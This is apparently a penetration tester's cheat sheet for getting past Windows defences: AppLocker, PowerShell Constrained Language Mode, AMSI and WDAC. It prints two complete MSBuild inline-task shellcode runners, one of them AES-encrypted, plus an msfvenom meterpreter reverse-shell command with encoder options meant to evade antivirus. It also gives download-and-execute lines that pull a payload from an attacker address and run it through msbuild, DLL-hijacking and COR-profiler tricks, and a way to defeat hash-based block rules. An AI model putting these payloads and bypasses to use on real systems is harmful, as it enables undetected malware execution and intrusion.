Evasion & Bypasses

AppLocker

Writable directories in C:\Windows:

  • C:\windows\tasks

Use trusted binaries : https://lolbas-project.github.io/ or find via:

findstr /C:"<autoElevate>true"

Then examine the library load order with procmon and look if you can write in any path where it looks for its libraries. If a path can be written to place a simple DLL there and it will be executed elevated. A nice post about this. Common target binaries:

C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
C:\Windows\SysWOW64\SystemPropertiesComputerName.exe
C:\Windows\SysWOW64\SystemPropertiesHardware.exe
C:\Windows\SysWOW64\SystemPropertiesProtection.exe
C:\Windows\SysWOW64\SystemPropertiesRemote.exe

COR Profile

Create a DLL payload like this reverse shell and run:

set COR_ENABLE_PROFILING=1
COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
set COR_PROFILER_PATH=<path>/pwn.dll
tzsync

Enumerate AppLocker Rules

This can be important because certain executeable names might be whitelisted!

Get-AppLockerPolicy -effective -xml

or

Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

PowerShell Constrained Language Mode (CLM)

All Powershell modules in Covenant already bypass AppLocker/CLM via its own PowerShell runspace.

Another options is: https://github.com/p3nt4/PowerShdll.

Also if Powershell v2 is installed we can bypass it too (because it does not support it).

AMSI

AMSI loads Defender (or other AVs) into Powershell , .Net and others. A common bypass is to patch it in memory (it's being loaded as a DLL into a user process).

https://github.com/rasta-mouse/AmsiScanBufferBypass

Process Injection

Shelter https://www.shellterproject.com/download/ can inject shellcode into legit 32-Bit Executables and is likely to not get detected.

MSBuild Shellcode

Generate payload for msbuild in csharp output format:

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f csharp -e x86/shikata_ga_nai -i <num of iterations> > <out>.cs`

Put the buffer into the template (be sure to change payload buffer, buffer size and some strings for av evasion:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[195] {};

              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Download & Execute:

Invoke-WebRequest "http://<ip>:<port>/<payload>.csproj" -OutFile "<outfile>.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\<outfile>.csproj

MSBuild Powershell

Use https://gist.github.com/xct/72cf74cc1187e1c088758bf8b4dc4086 and encode PowerShell Command with https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-16LE%20(1200)')To_Base64('A-Za-z0-9%2B/%3D')&input=d2hvYW1p . The C# part of this code is also great for embedding into fake windows gui programs (e.g. updater).

MSBuild Encrypted Shellcode

We can combine an encrypted shellcode runner with MSBuild:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        using System.Diagnostics;
        using System.IO;
        using System.Runtime.InteropServices;
        using System.Security.Cryptography;
        using System.Threading;

        public class ClassExample :  Task, ITask
        {         
          [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
           static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
          [DllImport("kernel32.dll")]
           static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        public override bool Execute()
        {
            ManualResetEvent manualResetEvent = new ManualResetEvent(false);
            byte[] iv = new byte[16]  { 0x30, ... };
            byte[] key = new byte[32]  { 0xe6, ... };
            byte[] encrypted = new byte[512]  { 0x68, 0x9d, 0xc1, ...};

            Aes encryptor = Aes.Create();
            encryptor.Mode = CipherMode.CBC;
            encryptor.KeySize = 256;
            encryptor.BlockSize = 128;
            encryptor.Padding = PaddingMode.Zeros;
            encryptor.Key = key;
            encryptor.IV = iv;

            MemoryStream memoryStream = new MemoryStream();
            ICryptoTransform aesDecryptor = encryptor.CreateDecryptor();
            CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write);

            byte[] buf = null;
            try
            {
                cryptoStream.Write(encrypted, 0, encrypted.Length);
                cryptoStream.FlushFinalBlock();
                buf = memoryStream.ToArray();
            }
            finally
            {
                memoryStream.Close();
                cryptoStream.Close();
            }

            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            manualResetEvent.WaitOne();
            return true;
        }               
          
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

To execute, curl a "run.txt" such that:

iwr http://<ip>/build.xml -OutFile c:\programdata\build.xml
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe c:\programdata\build.xml

See C# Section for how to encrypt for this variant.

WDAC

Check whether WDAC is enabled with Get-ComputerInfo (last 2 lines, "DeviceGuardCodeIntegrity"). The policies lives in C:\Windows\System32\CodeIntegrity or in the EFI System Partition, it has however no mounted drive by default:

Get-Partition
Get-Partition -PartitionNumber 2 | Set-Partition -NewDriverLetter X
Get-PSDrive
ls X:\EFI\Microsoft\Boot\*p7b

Convert via WDACTools

ConvertTo-WDACCodeIntegrityPolicy -BinaryFilePath binpath - XmlFilePath xmlpath

Then Check if there are some different to the recommendation: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules .

LOLBas has a lot of AWL bypasses, some of these work for code integrity too.

Powershell Scripts are often "Catalog" signed (C:\windows\system32\catroot), a signed list of hashes.

Block rules for scripts are not very robust, small changes will change the hash and let the scripts run.

When we find a binary that uses powershell (and is allowed) we might be able to abuse the powershell module load order and place a malicious powershell file that gets auto loaded.

Bypasses

  • Pubprn.vbs

    • This needs a vulnerable version, Microsoft blocked a lot of versions. What we can do however is to use an old version and remove a newline in the signature if its embedded - this will stay valid signed but the hash changed, bypassing a hash based block

Resources

Device Guard

Last updated